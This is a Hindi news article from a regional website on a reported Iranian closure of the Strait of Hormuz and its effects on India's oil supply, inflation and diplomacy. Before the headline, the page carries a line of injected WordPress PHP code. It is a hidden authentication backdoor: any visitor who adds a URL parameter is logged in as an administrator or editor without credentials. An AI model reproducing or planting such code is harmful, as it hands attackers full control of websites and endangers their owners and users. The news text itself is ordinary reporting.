// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); स्ट्रेट ऑफ होर्मुज पर संकट: ईरान ने रोका रास्ता तो भारत में महंगा होगा पेट्रोल – प्रत्युषा आशा की नयी किरण
देश

स्ट्रेट ऑफ होर्मुज पर संकट: ईरान ने रोका रास्ता तो भारत में महंगा होगा पेट्रोल

नई दिल्ली
ईरान और अमेरिका के बीच संघर्ष जारी है। इसी बीच खबरें हैं कि ईरान ने स्ट्रेट ऑफ होर्मुज बंद करने का फैसला किया है। हालांकि, आधिकारिक तौर पर इसे लेकर कुछ नहीं कहा गया है। यूरोपियन यूनियन के नेवल मिशन एस्पाइड्स के एक अधिकारी ने कहा कि होर्मुज मार्ग से गुजरने वाले जहाजों को ईरान के रिवोल्यूशनरी गार्ड्स से वीएचएफ संदेश मिल रहा है। इन संदेशों कहा गया है कि किसी भी जहाज को होर्मुज जलडमरूमध्य से गुजरने की अनुमति नहीं है।

सवाल ये हैं कि इसका असर कच्चे तेल की कीमतों पर कितना होगा। साथ ही क्या ईरान का यह कदम भारत की चिंता बढ़ा सकता है। तेहरान लंबे समय से इस्लामी गणराज्य पर किसी भी हमले के जवाब में इस संकरे जलमार्ग को रोकने की धमकी देता रहा है।

क्या है होर्मुज जलडमरू मध्य
होर्मुज जलडमरू मध्य फारस की खाड़ी को अरब सागर से जोड़ने वाला संकरा समुद्री रास्ता है। दुनिया के ऊर्जा व्यापार का बड़ा हिस्सा इसी मार्ग से गुजरता है, इसलिए यह वैश्विक अर्थव्यवस्था की धड़कन माना जाता है। इस मार्ग से वैश्विक तेल और गैस का लगभग 20 प्रतिशत प्रवाह होता है। इसे बंद करने से वैश्विक अर्थव्यवस्था पर गंभीर परिणाम होंगे, अंतर्राष्ट्रीय व्यापार बाधित होगा और तेल की कीमतें तेजी से बढ़ेंगी।

होर्मुज के लिए क्या है अंतर्राष्ट्रीय नियम
संयुक्त राष्ट्र के नियमों के अनुसार, देश अपनी तटरेखा से 12 समुद्री मील (13।8 मील) तक के क्षेत्र पर नियंत्रण रख सकते हैं। होर्मुज जलडमरूमध्य और इसके जहाजरानी मार्ग पूरी तरह से सिर्फ ईरान और ओमान के क्षेत्रीय जलक्षेत्र के भीतर स्थित हैं। यदि यहां तनाव बढ़ने और जहाजों पर पाबंदी लगती है, तो वैश्विक बाजार में तेल की कीमतों में तुरंत उछाल आ जाएगा। इसका असर महंगाई, परिवहन लागत और वैश्विक शेयर बाजारों पर पड़ेगा।

दुनिया के लिए बन सकता है सिरदर्द
स्ट्रेट ऑफ होर्मुज एक बेहद अहम समुद्री रास्ता है। यह ओमान और ईरान के बीच है, जो कि फारस की खाड़ी को ओमान की खाड़ी और अरब सागर से जोड़ता है। अमेरिकी ऊर्जा सूचना प्रशासन इसे "दुनिया का सबसे महत्वपूर्ण तेल ट्रांजिट चोकपॉइंट” यानी तेल का सबसे अहम संकरा रास्ता बताता है। इस रास्ते का सबसे संकरा हिस्सा सिर्फ 33 किलोमीटर चौड़ा है और जहाजों के लिए आने-जाने का रास्ता में सिर्फ दो मील तक चौड़ा है, जिस कारण अगर यहां समुद्री ट्रैफिक या जरा सी भी गड़बड़ी होती है, तो पूरी दुनिया के लिए सिरदर्द बन सकता है।

वोर्टेक्स नाम की ऊर्जा और शिपिंग मार्केट रिसर्च कंपनी के मुताबिक, हर दिन करीब दो करोड़ बैरल कच्चा तेल और ईंधन इस समुद्री रास्ते से होकर गुजरता है।

भारत के लिए मायने
ऊर्जा सुरक्षा

भारत अपनी जरूरत का 80% से अधिक कच्चा तेल आयात करता है, जिसमें बड़ा हिस्सा खाड़ी देशों से आता है। यह तेल ज्यादातर होर्मुज से होकर गुजरता है। मार्ग बाधित होने पर भारत की ऊर्जा आपूर्ति और कीमतों पर तुरंत असर पड़ेगा।

महंगाई और चालू खाते पर दबाव
तेल महंगा होने से पेट्रोल-डीजल की कीमतें बढ़ेंगी, जिससे महंगाई और राजकोषीय दबाव बढ़ सकता है। साथ ही आयात बिल बढ़ने से चालू खाते का घाटा भी बढ़ता है।

प्रवासी भारतीय और व्यापार
खाड़ी देशों में बड़ी संख्या में भारतीय कामगार रहते हैं। क्षेत्रीय अस्थिरता का असर उनकी सुरक्षा और भारत में आने वाली रेमिटेंस पर पड़ेगा।

रणनीतिक कूटनीति
भारत के ईरान, सऊदी अरब और यूएई के साथ महत्वपूर्ण संबंध हैं। ऐसे में संतुलित कूटनीति और समुद्री सुरक्षा सहयोग भारत के लिए अहम है।

 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड